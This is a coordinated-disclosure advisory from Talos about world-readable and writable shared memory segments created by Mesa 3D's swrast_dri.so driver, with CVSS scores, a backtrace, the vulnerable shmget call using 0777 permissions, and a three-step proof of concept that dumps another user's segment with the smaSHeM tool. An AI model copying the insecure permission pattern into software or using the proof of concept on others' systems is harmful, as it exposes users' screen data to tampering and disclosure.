Lucene search

K
talosTalos IntelligenceTALOS-2019-0857
HistoryOct 23, 2019 - 12:00 a.m.

X11 Mesa 3D Graphics Library shared memory permissions vulnerability

2019-10-2300:00:00
Talos Intelligence
www.talosintelligence.com
81

3.6 Low

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:L/AC:L/Au:N/C:P/I:P/A:N

4.4 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

21.6%

Summary

An exploitable shared memory permissions vulnerability exists in the functionality of X11 Mesa 3D Graphics Library. An attacker can access the shared memory without any specific permissions to trigger this vulnerability.

Tested Versions

Mesa 3D X11 Graphics library 19.1.2

Product URLs

<https://mesa3d.org/&gt;

CVSSv3 Score

5.1 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-277: Insecure Inherited Permissions

Details

The Mesa 3D X11 Graphics library loads as part of the initialization of X11 on specific hardware (in this instance virtual machines running within the KVM hypervisor). This library creates shared memory segments that support communication between X11 clients and the X11 server. It was identified that these shared memory segments have world-read and world-write permissions set (777) which means that any user can read and write to the segment without any specific OS privileges being required:

$ ipcs -a | grep 4259840
0x00000000 4259840    user       777        491520     2          dest        
$ ipcs -p | grep 4259840
4259840    user       922        2737      

Initially, it was believed that the vulnerable code was part of GNOME 3 (as shipped with Kali Linux which was running on the virtual machine) however by running KDE applications under strace on a second virtual machine utilizing an entirely different desktop as follows:

945   shmget(IPC_PRIVATE, 8355840, IPC_CREAT|0777) = 2129923
 &gt; /usr/lib/x86_64-linux-gnu/libc-2.28.so(shmget+0xa) [0xfb3aa]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xa1c52) [0x1331e2]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xa328a) [0x13481a]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x2a2f) [0x93fbf]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x6d7c) [0x9830c]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(nouveau_drm_screen_create+0x1cccaa) [0x4bc12a]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(nouveau_drm_screen_create+0x1ce225) [0x4bd6a5]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x67bd) [0x97d4d]
 &gt; /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xad6) [0x92066]
 &gt; /usr/lib/x86_64-linux-gnu/libGLX_mesa.so.0.0.0(glAreTexturesResidentEXT+0x21e2) [0x45002]
 &gt; /usr/lib/x86_64-linux-gnu/libGLX_mesa.so.0.0.0(MesaGLInteropGLXExportObject+0x7fb) [0x3738b]
 &gt; /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(_init+0x68d) [0x368d]
 &gt; /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(glXGetFBConfigs+0x520) [0x40a0]
 &gt; /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(glXWaitX+0x3fb) [0x56fb]
 &gt; /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x11682) [0x37ed2]
 &gt; /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x11ce2) [0x38532]
 &gt; /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x124f1) [0x38d41]
 &gt; /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.scenes/KWinSceneOpenGL.so(KWin::SceneOpenGL::createScene(QObject*)+0x7e) [0x1dd2e]
 &gt; /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.scenes/KWinSceneOpenGL.so(KWin::OpenGLFactory::create(QObject*) const+0x69) [0x1df89]
 &gt; /usr/lib/x86_64-linux-gnu/libkwin.so.5.14.5(KWin::Compositor::slotCompositingOptionsInitialized()+0x8a3) [0x17c323]
 &gt; /usr/lib/x86_64-linux-gnu/libkwin.so.5.14.5(KWin::Compositor::setup()+0x98) [0x17d238]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QObject::event(QEvent*)+0xe2) [0x294182]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5.11.3(QApplicationPrivate::notify_helper(QObject*, QEvent*)+0x81) [0x15f4b1]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5.11.3(QApplication::notify(QObject*, QEvent*)+0x210) [0x166950]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplication::notifyInternal2(QObject*, QEvent*)+0x179) [0x26a5a9]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplicationPrivate::sendPostedEvents(QObject*, int, QThreadData*)+0x1cb) [0x26d59b]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QEventDispatcherUNIX::processEvents(QFlags&lt;QEventLoop::ProcessEventsFlag&gt;)+0x4b) [0x2b8b4b]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5XcbQpa.so.5.11.3(QXcbGlIntegrationPlugin::qt_metacall(QMetaObject::Call, int, void**)+0x3974d) [0xdd67d]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QEventLoop::exec(QFlags&lt;QEventLoop::ProcessEventsFlag&gt;)+0x13b) [0x26927b]
 &gt; /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplication::exec()+0x92) [0x271262]
 &gt; /usr/lib/x86_64-linux-gnu/libkdeinit5_kwin_x11.so(kdemain+0x52b) [0xa47b]
 &gt; /usr/lib/x86_64-linux-gnu/libc-2.28.so(__libc_start_main+0xeb) [0x2409b]
 &gt; /usr/bin/kwin_x11(_start+0x2a) [0x108a]

It was possible to determine that the culprit was in fact swrast_dri.so which is a Mesa 3D X11 Graphics library. Specifically, while it is obscured in this backtrace, the code path includes calls to _driDriverGetExtensions##drivername(void) which make use of the following code:

static char *
alloc_shm(struct dri_sw_displaytarget *dri_sw_dt, unsigned size)
   char *addr;
   dri_sw_dt-&gt;shmid = shmget(IPC_PRIVATE, size, IPC_CREAT|0777);
   if (dri_sw_dt-&gt;shmid &lt; 0)
      return NULL;
   addr = (char *) shmat(dri_sw_dt-&gt;shmid, 0, 0);
   /* mark the segment immediately for deletion to avoid leaks */
   shmctl(dri_sw_dt-&gt;shmid, IPC_RMID, 0);
   if (addr == (char *) -1)
      return NULL;
   return addr;

Here, shmget() is called to implement the Mesa 3D X11 Graphics library X11 protocol support for a shared buffer between the X server and the client. This method of IPC between X clients and servers allows for increased performance when rendering large pixmaps. As you can see, in this case, shmget() is called with permissions of 0777 which effectively maps to “rwx” in each of the user, group and other permission contexts. Since the X server is typically running as root, it is believed there should be no need for client applications which run with less privileges to create shared memory with these weakened permissions. It should be noted that there are other functions within the same code base which also behave in a similar, unsafe fashion. Insecure permissions can be used by an attacker to tamper with previously created System V shared memory segments or to read their contents. In the context of the Mesa 3D X11 Graphics library, it was determined that weak permissions on the created segments may allow for the disclosure or corruption of pixmaps (GUI artifacts) being transmitted to the X server. Whilst in principal this could allow more interesting memory corruption attacks to be performed, no such attacks have yet been found within the context of the either the libraries or the X11 server. It should be noted that this vulnerability is not dependent on KVM, the X11 server or a specific desktop environment but rather that the use of X11 within the KVM hypervisor forces a vulnerable Mesa 3D X11 Graphics library to be utilised for communications between the X server and the client.

A simple PoC of how an attacker may be able to trigger more useful conditions by exploiting the initial permissions weakness can be seen below.

  1. Identify an affected segment:

    ipcs -a | grep 777
    0x00000000 4259840 user 777 491520 2 dest

  2. (As another OS user), read the shared memory:

    smaSHeM -i 4259840 -l 491520 -d > shmem.4259840

  3. Observe the following:

    hexdump -C shmem.4259840 | head -n 20
    00000000 b5 b3 b2 ff b5 b3 b2 ff b5 b3 b2 ff b5 b3 b2 ff |…|
    00001e00 f1 f0 ef ff f1 f0 ef ff f1 f0 ef ff f1 f0 ef ff |…|
    00001f70 f1 f0 ef ff f1 f0 ef ff d1 d0 cf ff d1 d0 cf ff |…|
    00001f80 d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff |…|
    00002360 f1 f0 ef ff f1 f0 ef ff d1 d0 cf ff d1 d0 cf ff |…|
    00002370 d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff |…|
    00002750 f1 f0 ef ff f1 f0 ef ff eb c1 6f ff eb c1 6f ff |…o…o.|
    00002760 eb c1 6f ff eb c1 6f ff eb c1 6f ff eb c1 6f ff |…o…o…o…o.|
    00002b40 f1 f0 ef ff f1 f0 ef ff f1 f0 ef ff f1 f0 ef ff |…|
    00003d70 f1 f0 ef ff f1 f0 ef ff d1 d0 cf ff d1 d0 cf ff |…|
    00003d80 d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff |…|
    00004160 f1 f0 ef ff f1 f0 ef ff d1 d0 cf ff d1 d0 cf ff |…|
    00004170 d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff d1 d0 cf ff |…|

smaSHeM can be found here: https://labs.portcullis.co.uk/tools/smashem/.

Timeline

2019-07-29 - Initial contact
2019-08-07 - Plain text report file issued to vendor
2019-08-29 - 30 day follow up
2019-10-09 - Vendor confirmed fix in progress
2019-10-21 - Vendor patched
2019-10-23 - Public disclosure

3.6 Low

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:L/AC:L/Au:N/C:P/I:P/A:N

4.4 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

21.6%